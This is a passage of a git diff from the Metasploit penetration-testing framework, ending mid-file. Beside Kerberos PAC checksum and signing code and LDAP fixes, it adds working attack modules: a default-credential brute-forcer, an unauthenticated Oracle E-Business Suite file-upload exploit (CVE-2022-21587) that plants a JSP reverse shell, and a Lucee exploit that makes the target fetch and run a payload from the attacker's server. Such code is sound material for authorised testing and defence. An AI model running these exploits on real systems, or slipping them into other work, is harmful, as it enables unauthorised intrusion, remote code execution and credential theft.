signature = ticket_checksum.signature
|
||||
header = 'Ticket Checksum:'
|
||||
|
||||
present_checksum(header: header, signature: signature)
|
||||
end
|
||||
|
||||
# @param [Rex::Proto::Kerberos::Pac::Krb5FullPacChecksum] full_pac_checksum
|
||||
# @return [String] A human readable representation of a Full Pac Checksum
|
||||
def present_full_pac_checksum(full_pac_checksum)
|
||||
signature = full_pac_checksum.signature
|
||||
header = 'Full Pac Checksum:'
|
||||
|
||||
present_checksum(header: header, signature: signature)
|
||||
end
|
||||
|
||||
# @param [Rex::Proto::Kerberos::Pac::Krb5UpnDnsInfo] upn_and_dns_info
|
||||
@@ -213,11 +242,15 @@ module Rex::Proto::Kerberos::CredentialCache
|
||||
present_priv_server_checksum(pac_element)
|
||||
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::USER_PRINCIPAL_NAME_AND_DNS_INFORMATION
|
||||
present_upn_and_dns_information(pac_element)
|
||||
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::TICKET_CHECKSUM
|
||||
present_ticket_checksum(pac_element)
|
||||
when Rex::Proto::Kerberos::Pac::Krb5PacElementType::FULL_PAC_CHECKSUM
|
||||
present_full_pac_checksum(pac_element)
|
||||
else
|
||||
ul_type_name = Rex::Proto::Kerberos::Pac::Krb5PacElementType.const_name(ul_type)
|
||||
ul_type_name = ul_type_name.gsub('_', ' ').capitalize if ul_type_name
|
||||
"#{ul_type_name || "Unknown ul type #{ul_type}"}:\n" +
|
||||
"#{info_buffer.to_s}".indent(2)
|
||||
info_buffer.to_s.indent(2)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -276,7 +309,7 @@ module Rex::Proto::Kerberos::CredentialCache
|
||||
# @param [Rex::Proto::Kerberos::Pac::UserSessionKey] user_session_key
|
||||
# @return [String] A human readable representation of a User Session Key
|
||||
def present_user_session_key(user_session_key)
|
||||
user_session_key.session_key.flat_map(&:data).map { |x| "#{x.to_i.to_s(16).rjust(2, '0')}" }.join
|
||||
user_session_key.session_key.flat_map(&:data).map { |x| x.to_i.to_s(16).rjust(2, '0').to_s }.join
|
||||
end
|
||||
|
||||
# @param [RubySMB::Dcerpc::Ndr::NdrFileTime] time
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Kerberos
|
||||
module Pac
|
||||
module Error
|
||||
# Generic Pac Error
|
||||
class PacError < StandardError
|
||||
def initialize(msg = 'Invalid PAC')
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
# To be raised when a PAC object does not contain one or more specific Info Buffers
|
||||
class MissingInfoBuffer < PacError
|
||||
|
||||
# @return [Array<Integer>] The ul types of the missing info buffers
|
||||
attr_accessor :ul_types
|
||||
|
||||
# @param [String, nil] msg
|
||||
# @param [Array<Integer>] ul_types The ul types of the missing info buffers.
|
||||
def initialize(msg = nil, ul_types:)
|
||||
@ul_types = ul_types
|
||||
super(msg || generate_message)
|
||||
end
|
||||
|
||||
# @return [String] A message created containing the names of the missing buffers.
|
||||
def generate_message
|
||||
missing_buffer_names = @ul_types.map do |ul_type|
|
||||
Rex::Proto::Kerberos::Pac::Krb5PacElementType.const_name(ul_type)
|
||||
end
|
||||
"Missing Info Buffer(s): #{missing_buffer_names.join(', ')}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -104,6 +104,18 @@ module Rex::Proto::Kerberos::Pac
|
||||
virtual :ul_type, value: Krb5PacElementType::PRIVILEGE_SERVER_CHECKSUM
|
||||
end
|
||||
|
||||
class Krb5TicketChecksum < Krb5PacSignatureData
|
||||
# @!attribute [r] ul_type
|
||||
# @return [Integer] Describes the type of data present in the buffer
|
||||
virtual :ul_type, value: Krb5PacElementType::TICKET_CHECKSUM
|
||||
end
|
||||
|
||||
class Krb5FullPacChecksum < Krb5PacSignatureData
|
||||
# @!attribute [r] ul_type
|
||||
# @return [Integer] Describes the type of data present in the buffer
|
||||
virtual :ul_type, value: Krb5PacElementType::FULL_PAC_CHECKSUM
|
||||
end
|
||||
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/69e86ccc-85e3-41b9-b514-7d969cd0ed73
|
||||
class Krb5ValidationInfo < RubySMB::Dcerpc::Ndr::NdrStruct
|
||||
default_parameters byte_align: 8
|
||||
@@ -531,6 +543,8 @@ module Rex::Proto::Kerberos::Pac
|
||||
krb5_client_info Krb5PacElementType::CLIENT_INFORMATION
|
||||
krb5_pac_server_checksum Krb5PacElementType::SERVER_CHECKSUM
|
||||
krb5_pac_priv_server_checksum Krb5PacElementType::PRIVILEGE_SERVER_CHECKSUM
|
||||
krb5_ticket_checksum Krb5PacElementType::TICKET_CHECKSUM
|
||||
krb5_full_pac_checksum Krb5PacElementType::FULL_PAC_CHECKSUM
|
||||
krb5_pac_credential_info Krb5PacElementType::CREDENTIAL_INFORMATION, data_length: :data_length
|
||||
krb5_upn_dns_info Krb5PacElementType::USER_PRINCIPAL_NAME_AND_DNS_INFORMATION
|
||||
unknown_pac_element :default, data_length: :data_length, selection: :selection
|
||||
@@ -589,20 +603,47 @@ module Rex::Proto::Kerberos::Pac
|
||||
end
|
||||
|
||||
# Calculates the checksums, can only be done after all other fields are set
|
||||
def calculate_checksums!(key: nil)
|
||||
# @param [String] service_key Service key to calculate the server checksum
|
||||
# @param [String] krbtgt_key key to calculate priv server (KDC) and full checksums with, if not specified `service_key` is used
|
||||
#
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/962edb93-fa3c-48ea-a0a6-062f760eb69c
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/37bf87b9-1d56-475a-b2b2-e3948b29194d
|
||||
def calculate_checksums!(service_key: nil, krbtgt_key: nil)
|
||||
server_checksum = nil
|
||||
priv_server_checksum = nil
|
||||
full_pac_checksum = nil
|
||||
pac_info_buffers.each do |info_buffer|
|
||||
pac_element = info_buffer.buffer.pac_element
|
||||
if pac_element.ul_type == 6
|
||||
case pac_element.ul_type
|
||||
when Krb5PacElementType::SERVER_CHECKSUM
|
||||
server_checksum = pac_element
|
||||
elsif pac_element.ul_type == 7
|
||||
when Krb5PacElementType::PRIVILEGE_SERVER_CHECKSUM
|
||||
priv_server_checksum = pac_element
|
||||
when Krb5PacElementType::FULL_PAC_CHECKSUM
|
||||
full_pac_checksum = pac_element
|
||||
else
|
||||
next
|
||||
end
|
||||
end
|
||||
server_checksum.signature = calculate_checksum(server_checksum.signature_type, key, to_binary_s)
|
||||
|
||||
priv_server_checksum.signature = calculate_checksum(priv_server_checksum.signature_type, key, server_checksum.signature)
|
||||
missing_checksums = []
|
||||
missing_checksums << Krb5PacElementType::SERVER_CHECKSUM if server_checksum.nil?
|
||||
missing_checksums << Krb5PacElementType::PRIVILEGE_SERVER_CHECKSUM if priv_server_checksum.nil?
|
||||
raise Rex::Proto::Kerberos::Pac::Error::MissingInfoBuffer.new(ul_types: missing_checksums) unless missing_checksums.empty?
|
||||
|
||||
if krbtgt_key.nil?
|
||||
krbtgt_key = service_key
|
||||
end
|
||||
|
||||
# https://bugzilla.samba.org/show_bug.cgi?id=15231
|
||||
# https://i.blackhat.com/EU-22/Thursday-Briefings/EU-22-Tervoort-Breaking-Kerberos-RC4-Cipher-and-Spoofing-Windows-PACs-wp.pdf
|
||||
if full_pac_checksum
|
||||
full_pac_checksum.signature = calculate_checksum(full_pac_checksum.signature_type, krbtgt_key, to_binary_s)
|
||||
end
|
||||
|
||||
server_checksum.signature = calculate_checksum(server_checksum.signature_type, service_key, to_binary_s)
|
||||
|
||||
priv_server_checksum.signature = calculate_checksum(priv_server_checksum.signature_type, krbtgt_key, server_checksum.signature)
|
||||
end
|
||||
|
||||
# Calculates the offsets for pac_elements if they haven't yet been set
|
||||
@@ -619,9 +660,9 @@ module Rex::Proto::Kerberos::Pac
|
||||
|
||||
# Call this when you are done setting fields in the object
|
||||
# in order to finalise the data
|
||||
def sign!(key: nil)
|
||||
def sign!(service_key: nil, krbtgt_key: nil)
|
||||
calculate_offsets!
|
||||
calculate_checksums!(key: key)
|
||||
calculate_checksums!(service_key: service_key, krbtgt_key: krbtgt_key)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@@ -17,6 +17,8 @@ module Rex::Proto::Kerberos::Pac
|
||||
TICKET_CHECKSUM = 0x00000010
|
||||
PAC_ATTRIBUTES = 0x00000011
|
||||
PAC_REQUESTOR = 0x00000012
|
||||
# https://support.microsoft.com/en-gb/topic/kb5020805-how-to-manage-kerberos-protocol-changes-related-to-cve-2022-37967-997e9acc-67c5-48e1-8d0d-190269bf4efb
|
||||
FULL_PAC_CHECKSUM = 0x00000013
|
||||
|
||||
#
|
||||
# Return a string representation of the constant for a number
|
||||
|
||||
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
||||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '2.0.108'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '2.0.113'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.20'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
||||
@@ -65,14 +65,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def fail_with_ldap_error(message)
|
||||
ldap_result = @ldap.as_json['result']['ldap_result']
|
||||
return if ldap_result['resultCode'] == 0
|
||||
ldap_result = @ldap.get_operation_result.table
|
||||
return if ldap_result[:code] == 0
|
||||
|
||||
print_error(message)
|
||||
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
|
||||
case ldap_result['resultCode']
|
||||
case ldap_result[:code]
|
||||
when 1
|
||||
fail_with(Failure::Unknown, "An LDAP operational error occurred. The error was: #{ldap_result['errorMessage'].strip}")
|
||||
fail_with(Failure::Unknown, "An LDAP operational error occurred. The error was: #{ldap_result[:error_message].strip}")
|
||||
when 16
|
||||
fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist.')
|
||||
when 50
|
||||
@@ -89,7 +89,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
fail_with(Failure::Unknown, 'The LDAP operation failed due to an object class violation.')
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, "Unknown LDAP error occurred: result: #{ldap_result['resultCode']} message: #{ldap_result['errorMessage'].strip}")
|
||||
fail_with(Failure::Unknown, "Unknown LDAP error occurred: result: #{ldap_result[:code]} message: #{ldap_result[:error_message].strip}")
|
||||
end
|
||||
|
||||
def get_delegate_from_obj
|
||||
|
||||
@@ -145,9 +145,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
controls << [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence
|
||||
|
||||
returned_entries = ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)
|
||||
query_result = ldap.as_json['result']['ldap_result']
|
||||
query_result_table = ldap.get_operation_result.table
|
||||
|
||||
validate_query_result!(query_result, filter)
|
||||
validate_query_result!(query_result_table, filter)
|
||||
|
||||
if returned_entries.blank?
|
||||
vprint_error("No results found for #{filter}.")
|
||||
|
||||
@@ -140,9 +140,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
base ||= @base_dn
|
||||
scope ||= Net::LDAP::SearchScope_WholeSubtree
|
||||
returned_entries = ldap.search(base: base, filter: filter, attributes: attributes, scope: scope)
|
||||
query_result = ldap.as_json['result']['ldap_result']
|
||||
|
||||
validate_query_result!(query_result, filter)
|
||||
query_result_table = ldap.get_operation_result.table
|
||||
validate_query_result!(query_result_table, filter)
|
||||
|
||||
if returned_entries.nil? || returned_entries.empty?
|
||||
print_error("No results found for #{filter}.")
|
||||
|
||||
@@ -0,0 +1,124 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'metasploit/framework/login_scanner/softing_sis'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Softing Secure Integration Server Login Utility',
|
||||
'Description' => %q{
|
||||
This module will attempt to authenticate to a Softing Secure Integration Server.
|
||||
},
|
||||
'Author' => [ 'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
},
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 8099,
|
||||
'SSL' => false,
|
||||
'SSLVersion' => 'TLS1'
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
deregister_options('PASSWORD_SPRAY')
|
||||
|
||||
# credentials are "admin:admin" by default
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [false, 'The username to specify for authentication.', 'admin']),
|
||||
OptString.new('PASSWORD', [false, 'The password to specify for authentication.', 'admin'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def scanner(ip)
|
||||
cred_collection = build_credential_collection(
|
||||
username: datastore['USERNAME'],
|
||||
password: datastore['PASSWORD']
|
||||
)
|
||||
|
||||
return Metasploit::Framework::LoginScanner::SoftingSIS.new(
|
||||
configure_http_login_scanner(
|
||||
host: ip,
|
||||
port: datastore['RPORT'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def report_good_cred(result)
|
||||
service_data = { status: result.status }.merge(service_details)
|
||||
store_valid_credential(
|
||||
user: result.credential.public,
|
||||
private: result.credential.private,
|
||||
proof: result.proof,
|
||||
service_data: service_data
|
||||
)
|
||||
end
|
||||
|
||||
def report_bad_cred(ip, rport, result)
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
)
|
||||
end
|
||||
|
||||
def bruteforce(ip)
|
||||
scanner(ip).scan! do |result|
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute(level: :good, ip: ip, msg: "Success: '#{result.credential}'")
|
||||
report_good_cred(result)
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
print_brute(level: :verror, ip: ip, msg: result.proof)
|
||||
report_bad_cred(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
print_brute(level: :verror, ip: ip, msg: "Failed: '#{result.credential}'")
|
||||
report_bad_cred(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::DENIED_ACCESS
|
||||
print_brute(level: :verror, ip: ip, msg: "Access denied: '#{result.credential}'")
|
||||
report_bad_cred(ip, rport, result)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
softing_ver = scanner(ip).check_setup
|
||||
# if we get "false", throw the error
|
||||
unless softing_ver
|
||||
print_brute(level: :error, ip: ip, msg: 'Target is not Softing Secure Integration Server')
|
||||
return
|
||||
end
|
||||
|
||||
# otherwise, report the version
|
||||
print_brute(level: :good, ip: ip, msg: "Softing Secure Integration Server #{softing_ver}")
|
||||
bruteforce(ip)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
info,
|
||||
'Name' => 'Froxlor Log Path RCE',
|
||||
'Description' => %q{
|
||||
Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path
|
||||
Froxlor v2.0.7 and below suffer from a bug that allows authenticated users to change the application logs path
|
||||
to any directory on the OS level which the user www-data can write without restrictions from the backend which
|
||||
leads to writing a malicious Twig template that the application will render. That will lead to achieving a
|
||||
remote command execution under the user www-data.
|
||||
@@ -119,11 +119,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
else
|
||||
version = res.get_html_document.at('body/span/text()')
|
||||
if version
|
||||
if Rex::Version.new('2.0.6') >= Rex::Version.new(version)
|
||||
if Rex::Version.new('2.0.7') >= Rex::Version.new(version)
|
||||
Exploit::CheckCode::Appears("Vulnerable version found: #{version}")
|
||||
else
|
||||
Exploit::CheckCode::Safe("Non-vulnerable version found: #{version}")
|
||||
end
|
||||
else
|
||||
Exploit::CheckCode::Detected("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")
|
||||
Exploit::CheckCode::Unknown("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,148 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
require 'rex/zip'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Oracle E-Business Suite (EBS) Unauthenticated Arbitrary File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated arbitrary file upload vulnerability in Oracle Web Applications
|
||||
Desktop Integrator, as shipped with Oracle EBS versions 12.2.3 through to 12.2.11, in
|
||||
order to gain remote code execution as the oracle user.
|
||||
},
|
||||
'Author' => [
|
||||
'sf', # MSF Exploit & Rapid7 Analysis
|
||||
'HMs', # Python PoC
|
||||
'l1k3beef', # Original Discoverer
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2022-21587'],
|
||||
['URL', 'https://attackerkb.com/topics/Bkij5kK1qK/cve-2022-21587/rapid7-analysis'],
|
||||
['URL', 'https://blog.viettelcybersecurity.com/cve-2022-21587-oracle-e-business-suite-unauth-rce/'],
|
||||
['URL', 'https://github.com/hieuminhnv/CVE-2022-21587-POC']
|
||||
],
|
||||
'DisclosureDate' => '2022-10-01',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w[linux],
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Privileged' => false, # Code execution as user 'oracle'
|
||||
'Targets' => [
|
||||
[
|
||||
'Oracle EBS on Linux (OVA Install)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'EBSBasePath' => '/u01/install/APPS/fs1/',
|
||||
'EBSUploadPath' => 'EBSapps/appl/bne/12.0.0/upload/',
|
||||
'EBSFormsPath' => 'FMW_Home/Oracle_EBS-app1/applications/forms/forms/'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000)
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/OA_HTML/FrmReportData'
|
||||
)
|
||||
|
||||
return CheckCode::Unknown('Connection failed') unless res
|
||||
|
||||
return CheckCode::Unknown unless res.code == 200
|
||||
|
||||
match = res.body.match(%r{jsLibs/Common(\d+_\d+_\d+)})
|
||||
|
||||
if match && (match.length == 2)
|
||||
version = Rex::Version.new(match[1].gsub('_', '.'))
|
||||
|
||||
if version.between?(Rex::Version.new('12.2.3'), Rex::Version.new('12.2.11'))
|
||||
return CheckCode::Appears("Oracle EBS version #{version} detected.")
|
||||
end
|
||||
|
||||
return CheckCode::Safe("Oracle EBS version #{version} detected.")
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
endpoints = %w[BneViewerXMLService BneDownloadService BneOfflineLOVService BneUploaderService]
|
||||
|
||||
target_url = "/OA_HTML/#{endpoints.sample}"
|
||||
|
||||
print_status("Targeting the endpoint: #{target_url}")
|
||||
|
||||
jsp_name = Rex::Text.rand_text_alpha_lower(3..8) + '.jsp'
|
||||
|
||||
jsp_path = '../' * target['EBSUploadPath'].split('/').length
|
||||
|
||||
jsp_path << "#{target['EBSFormsPath']}#{jsp_name}"
|
||||
|
||||
jsp_absolute_path = "#{target['EBSBasePath']}#{target['EBSFormsPath']}#{jsp_name}"
|
||||
|
||||
zip = Rex::Zip::Archive.new
|
||||
zip.add_file(jsp_path, payload.encoded)
|
||||
|
||||
# The ZIP file is expected to be encoded with the binary to text encoding mechanism called uuencode.
|
||||
# For a detailed description refer to the Rapid7 AttackerKB analysis in the References section of this module.
|
||||
uue_data = "begin 777 #{Rex::Text.rand_text_alpha_lower(3..8)}.zip\n"
|
||||
uue_data << [zip.pack].pack('u')
|
||||
uue_data << "end\n"
|
||||
|
||||
uue_name = "#{Rex::Text.rand_text_alpha_lower(3..8)}.uue"
|
||||
|
||||
mime = Rex::MIME::Message.new
|
||||
mime.add_part(uue_data, 'text/plain', nil, %(form-data; name="file"; filename="#{uue_name}"))
|
||||
|
||||
register_file_for_cleanup(jsp_absolute_path)
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => target_url,
|
||||
'vars_get' => { 'bne:uueupload' => 'true' },
|
||||
'encode_params' => true,
|
||||
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
||||
'data' => mime.to_s
|
||||
}
|
||||
)
|
||||
|
||||
unless res && res.code == 200 && res.body.include?('bne:text="Cannot be logged in as GUEST."')
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
|
||||
end
|
||||
|
||||
print_status('Triggering the payload...')
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => "/forms/#{jsp_name}"
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,317 @@
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::Retry
|
||||
include Msf::Exploit::FileDropper
|
||||
require 'base64'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Lucee Authenticated Scheduled Job Code Execution',
|
||||
'Description' => %q{
|
||||
This module can be used to execute a payload on Lucee servers that have an exposed
|
||||
administrative web interface. It's possible for an administrator to create a
|
||||
scheduled job that queries a remote ColdFusion file, which is then downloaded and executed
|
||||
when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,
|
||||
the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;
|
||||
on Linux, it is either the root user or lucee.
|
||||
},
|
||||
'Targets' => [
|
||||
[
|
||||
'Windows Command',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :windows_cmd
|
||||
}
|
||||
],
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd
|
||||
}
|
||||
]
|
||||
],
|
||||
'Author' => 'Alexander Philiotis', # aphiliotis@synercomm.com
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
# This abuses the functionality inherent to the Lucee platform and
|
||||
# thus is not related to any CVEs.
|
||||
|
||||
# Lucee Docs
|
||||
['URL', 'https://docs.lucee.org/'],
|
||||
|
||||
# cfexecute & cfscript documentation
|
||||
['URL', 'https://docs.lucee.org/reference/tags/execute.html'],
|
||||
['URL', 'https://docs.lucee.org/reference/tags/script.html'],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [
|
||||
# /opt/lucee/server/lucee-server/context/logs/application.log
|
||||
# /opt/lucee/web/logs/exception.log
|
||||
IOC_IN_LOGS,
|
||||
ARTIFACTS_ON_DISK,
|
||||
# ColdFusion files located at the webroot of the Lucee server
|
||||
# C:/lucee/tomcat/webapps/ROOT/ by default on Windows
|
||||
# /opt/lucee/tomcat/webapps/ROOT/ by default on Linux
|
||||
]
|
||||
},
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'DisclosureDate' => '2023-02-10'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8888),
|
||||
OptString.new('PASSWORD', [false, 'The password for the administrative interface']),
|
||||
OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']),
|
||||
OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]),
|
||||
]
|
||||
)
|
||||
deregister_options('URIPATH')
|
||||
end
|
||||
|
||||
def exploit
|
||||
payload_base = rand_text_alphanumeric(8..16)
|
||||
authenticate
|
||||
|
||||
start_service({
|
||||
'Uri' => {
|
||||
'Proc' => proc do |cli, req|
|
||||
print_status("Payload request received for #{req.uri} from #{cli.peerhost}")
|
||||
send_response(cli, cfm_stub)
|
||||
end,
|
||||
'Path' => '/' + payload_base + '.cfm'
|
||||
}
|
||||
})
|
||||
|
||||
#
|
||||
# Create the scheduled job
|
||||
#
|
||||
create_job(payload_base)
|
||||
|
||||
#
|
||||
# Execute the scheduled job and attempt to send a GET request to it.
|
||||
#
|
||||
execute_job(payload_base)
|
||||
print_good('Exploit completed.')
|
||||
|
||||
#
|
||||
# Removes the scheduled job
|
||||
#
|
||||
print_status('Removing scheduled job ' + payload_base)
|
||||
cleanup_request = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'vars_get' => {
|
||||
'action' => 'services.schedule'
|
||||
},
|
||||
'vars_post' => {
|
||||
'row_1' => '1',
|
||||
'name_1' => payload_base.to_s,
|
||||
'mainAction' => 'delete'
|
||||
}
|
||||
})
|
||||
if cleanup_request && cleanup_request.code == 302
|
||||
print_good('Scheduled job removed.')
|
||||
else
|
||||
print_bad('Failed to remove scheduled job.')
|
||||
end
|
||||
end
|
||||
|
||||
def authenticate
|
||||
auth = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'login_passwordweb' => datastore['PASSWORD'],
|
||||
'lang' => 'en',
|
||||
'rememberMe' => 's',
|
||||
'submit' => 'submit'
|
||||
}
|
||||
})
|
||||
|
||||
unless auth
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
|
||||
unless auth.code == 200 && auth.body.include?('nav_Security')
|
||||
fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.')
|
||||
end
|
||||
|
||||
print_good('Authenticated successfully')
|
||||
end
|
||||
|
||||
def create_job(payload_base)
|
||||
create_job = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'keep_cookies' => true,
|
||||
'vars_get' => {
|
||||
'action' => 'services.schedule',
|
||||
'action2' => 'create'
|
||||
},
|
||||
'vars_post' => {
|
||||
'name' => payload_base,
|
||||
'url' => get_uri.to_s,
|
||||
'interval' => '3600',
|
||||
'start_day' => '01',
|
||||
'start_month' => '02',
|
||||
'start_year' => '2023',
|
||||
'start_hour' => '00',
|
||||
'start_minute' => '00',
|
||||
'start_second' => '00',
|
||||
'run' => 'create'
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::Unreachable, 'Could not connect to the web service') if create_job.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to create job') unless create_job.code == 302
|
||||
|
||||
print_good('Job ' + payload_base + ' created successfully')
|
||||
job_file_path = file_path = webroot
|
||||
fail_with(Failure::UnexpectedReply, 'Could not identify the web root') if job_file_path.blank?
|
||||
|
||||
case target['Type']
|
||||
when :unix_cmd
|
||||
file_path << '/'
|
||||
job_file_path = "#{job_file_path.gsub('/', '//')}//"
|
||||
when :windows_cmd
|
||||
file_path << '\\'
|
||||
job_file_path = "#{job_file_path.gsub('\\', '\\\\')}\\"
|
||||
end
|
||||
update_job = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => target_uri.path,
|
||||
'keep_cookies' => true,
|
||||
'vars_get' => {
|
||||
'action' => 'services.schedule',
|
||||
'action2' => 'edit',
|
||||
'task' => create_job.headers['location'].split('=')[-1]
|
||||
},
|
||||
'vars_post' => {
|
||||
'name' => payload_base,
|
||||
'url' => get_uri.to_s,
|
||||
'port' => datastore['SRVPORT'],
|
||||
'timeout' => '50',
|
||||
'username' => '',
|
||||
'password' => '',
|
||||
